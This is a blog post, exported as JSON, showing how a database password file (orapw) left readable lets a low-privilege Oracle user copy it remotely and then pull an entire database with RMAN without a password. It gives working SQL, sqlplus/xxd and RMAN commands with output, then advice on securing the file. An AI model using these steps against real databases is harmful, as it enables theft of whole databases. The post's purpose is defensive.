{
  "date": "2018-01-05T12:02:45",
  "slug": "keep-your-orapw-password-file-secure",
  "link": "https://www.dbi-services.com/blog/keep-your-orapw-password-file-secure/",
  "title": {
    "rendered": "Keep your orapw password file secure"
  },
  "content": {
    "rendered": "<h2>By Franck Pachot</h2>\n<p>.<br />\nThis is a small demo I did when I&#8217;ve found a database password file (orapw) lying around in /tmp with -rw-rw-rw- permissions, to show how this is a bad idea. People think that the orapw file only contains hashes to validate a password given, and forget that it can be used to connect to a remote database without password.<br />\n<!--more--><br />\nI can easily imagine why the orapwd was there in /tmp. To build a standby database, you need to copy the password file to the standby server. If you don&#8217;t have direct access to the oracle user, but only a sudo access for &#8216;security reasons&#8217;, you can&#8217;t scp easily. Then you copy the file to /tmp, make it readable by all users, and you can scp with your user.</p>\n<p>In this demo I don&#8217;t even have access to the host. I&#8217;ve only access to connect to a PDB with the SCOTT users, reated with utlsampl.sql, with those additional privileges, a read access on $ORACLE_HOME/dbs:</p>\n<pre><code>\nSQL&gt; connect sys/oracle@//192.168.56.122/PDB1 as sysdba\nConnected.\n&nbsp;\nSQL&gt; create or replace directory DBS as '/u01/app/oracle/product/12.2.0/dbhome_1/dbs';\nDirectory DBS created.\n&nbsp;\nSQL&gt; grant read on directory DBS to SCOTT;\nGrant succeeded.\n</code></pre>\n<p>People tend to grant many privileges, and think that a read access on a directory which is supposed to contain only configuration files is harmless. Let&#8217;s see what you can do from another server.</p>\n<h3>Get the orapw file from a remote connection</h3>\n<p>I connect with SCOTT which can read from ORACLE_HOME/dbs:</p>\n<pre><code>\nSQL&gt; connect scott/tiger@//192.168.56.122/PDB1\nConnected.\n&nbsp;\nSQL&gt; show user\nUSER is \"SCOTT\"\n&nbsp;\nSQL&gt; select * from all_directories;\n&nbsp;\nOWNER   DIRECTORY_NAME   DIRECTORY_PATH                                  ORIGIN_CON_ID\n-----   --------------   --------------                                  -------------\nSYS     DBS              /u01/app/oracle/product/12.2.0/dbhome_1/dbs                 4\n</code></pre>\n<p>I create a table to read this file (other possibilities utl_tile, external tables,&#8230;):</p>\n<pre><code>\nSQL&gt; create table DEMO ( b blob );\nTable DEMO created.\n&nbsp;\nSQL&gt; insert into demo values ( bfilename('DBS','orapwCDB1') );\n1 row inserted.\n</code></pre>\n<p>I&#8217;m on another server with the same version of Oracle Database software installed.</p>\n<p>I use sqlplus to retrieve the server file to my client:</p>\n<pre><code>\nsqlplus -s scott/tiger@//192.168.56.122/PDB1 &lt;&lt;EOF |xxd -p -r &gt; $ORACLE_HOME/dbs/orapwCDB1\nset pages 0 lin 17000 long 1000000000 longc 16384\nselect * from DEMO;\nexit\nEOF\n</code></pre>\n<p>This (documented by <a href=\"https://laurentschneider.com/wordpress/2014/10/select-pdf-from-sqlplus.html\" target=\"_blank\" rel=\"noopener noreferrer\">Laurent Schneider</a>) uses sqlplus to display the BLOB variable as hexadecimal code and xdd (installed with vim-common) to revert it to binary.</p>\n<p>So, on my server I have a copy of the database password file for the database I want to steal:</p>\n<pre><code>\n[oracle@VM122 ~]$ strings /u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapwCDB1\n&nbsp;\nORACLE Remote Password file\nX)l)|\nSYSDG\n+933k\nSYSBACKUP\nf       ts6 $9\nSYSKM\n</code></pre>\n<h3>Pull</h3>\n<p>A nice feature of 12<i>c</i> is the ability to pull backups from a service. With this, it is the destination that connects to the source. I have diagrams to explain <a href=\"https://www.dbi-services.com/blog/rman-12c-push-and-pull-duplicate-explained/\" target=\"_blank\" rel=\"noopener noreferrer\">here</a>). It is an easy alternative to RMAN DUPLICATE (see MOS <a href=\"https://support.oracle.com/epmos/faces/DocContentDisplay?id=2283978.1\" target=\"_blank\" rel=\"noopener noreferrer\">Doc ID 2283978.1 Creating a Physical Standby database using RMAN restore from service</a>). And one difference is that you don&#8217;t have to provide the password:</p>\n<p>I prepare a small init.ora and directory for the datafiles</p>\n<pre><code>\necho \"db_name=CDB1\" &gt; $ORACLE_HOME/dbs/initCDB1.ora\n&nbsp;\nmkdir -p /u01/oradata/CDB1\n</code></pre>\n<p>I&#8217;m still on my server with the copy of the remote orapw file and a network access to the source database and I just restore it, without the need for a password:</p>\n<pre><code>\nRMAN&gt; connect target /\nconnected to target database (not started)\n</code></pre>\n<p>I start a local instance:</p>\n<pre><code>\nRMAN&gt; startup nomount force\nOracle instance started\n&nbsp;\nTotal System Global Area     859832320 bytes\nFixed Size                     8798552 bytes\nVariable Size                784338600 bytes\nDatabase Buffers              58720256 bytes\nRedo Buffers                   7974912 bytes\n</code></pre>\n<p>I restore the controlfile:</p>\n<pre><code>\nRMAN&gt; restore controlfile from service '//192.168.56.122/CDB1';\nStarting restore at 05-JAN-18\nusing target database control file instead of recovery catalog\nallocated channel: ORA_DISK_1\nchannel ORA_DISK_1: SID=262 device type=DISK\nchannel ORA_DISK_1: starting datafile backup set restore\nchannel ORA_DISK_1: using network backup set from service //192.168.56.122/CDB1\nchannel ORA_DISK_1: restoring control file\nchannel ORA_DISK_1: restore complete, elapsed time: 00:00:02\noutput file name=/u01/oradata/CDB1/control01.ctl\noutput file name=/u01/fast_recovery_area/CDB1/control02.ctl\nFinished restore at 05-JAN-18\n</code></pre>\n<p>That&#8217;s the interesting part because it has to be connected, at least as SYSOPER, to the source database but I didn&#8217;t provide any password.</p>\n<p>I mount this controlfile locally:</p>\n<pre><code>\nRMAN&gt; alter database mount;\nStatement processed\n&nbsp;\nreleased channel: ORA_DISK_1\n</code></pre>\n<p>And now it is easy to pull the whole database (the CDB with all its PDBs) to my local server:</p>\n<pre><code>\nRMAN&gt; restore database from service '//192.168.56.122/CDB1';\nStarting restore at 05-JAN-18\nStarting implicit crosscheck backup at 05-JAN-18\nallocated channel: ORA_DISK_1\nchannel ORA_DISK_1: SID=262 device type=DISK\nCrosschecked 6 objects\nFinished implicit crosscheck backup at 05-JAN-18\nStarting implicit crosscheck copy at 05-JAN-18\nusing channel ORA_DISK_1\nFinished implicit crosscheck copy at 05-JAN-18\nsearching for all files in the recovery area\ncataloging files...\ncataloging done\n&nbsp;\nList of Cataloged Files\n=======================\nFile Name: /u01/fast_recovery_area/CDB1/autobackup/2018_01_04/o1_mf_s_964524009_f4vzyt59_.bkp\nFile Name: /u01/fast_recovery_area/CDB1/archivelog/2018_01_04/o1_mf_1_15_f4w5vv19_.arc\nFile Name: /u01/fast_recovery_area/CDB1/archivelog/2018_01_04/o1_mf_1_16_f4wmm0t8_.arc\nFile Name: /u01/fast_recovery_area/CDB1/archivelog/2018_01_04/o1_mf_1_14_f4vzjdl1_.arc\nusing channel ORA_DISK_1\nchannel ORA_DISK_1: starting datafile backup set restore\nchannel ORA_DISK_1: using network backup set from service //192.168.56.122/CDB1\nchannel ORA_DISK_1: specifying datafile(s) to restore from backup set\nchannel ORA_DISK_1: restoring datafile 00001 to /u01/oradata/CDB1/system01.dbf\nchannel ORA_DISK_1: restore complete, elapsed time: 00:00:16\nchannel ORA_DISK_1: starting datafile backup set restore\n...\n</code></pre>\n<h3>So what?</h3>\n<p>This is not an issue and is totally expected. In a Data Guard configuration, the primary and standby database have to communicate with each others and then need a passwordless authentication. This is done with the password file, and this is the reason why you need to copy it rather than just create another one with the same passwords.</p>\n<p>So, there is more than just a hash of the password (which is required to validate a password) and probably includes a key (randomly generated when you create the password file) used for passwordless authentication.</p>\n<p>Then, be careful, and do not give read access to the orapw files. You must secure them in the same way as a ssh key or an encryption wallet. and this include:</p>\n<ul>\n<li>Do not leave a copy of the orapw file in a shared location</li>\n<li>Be careful with grants on directories, even in READ</li>\n<li>Do not grant CREATE ANY DIRECTORY except for a PDB with PATH_PREFIX lockdown</li>\n</ul>\n",
    "protected": false
  }
}
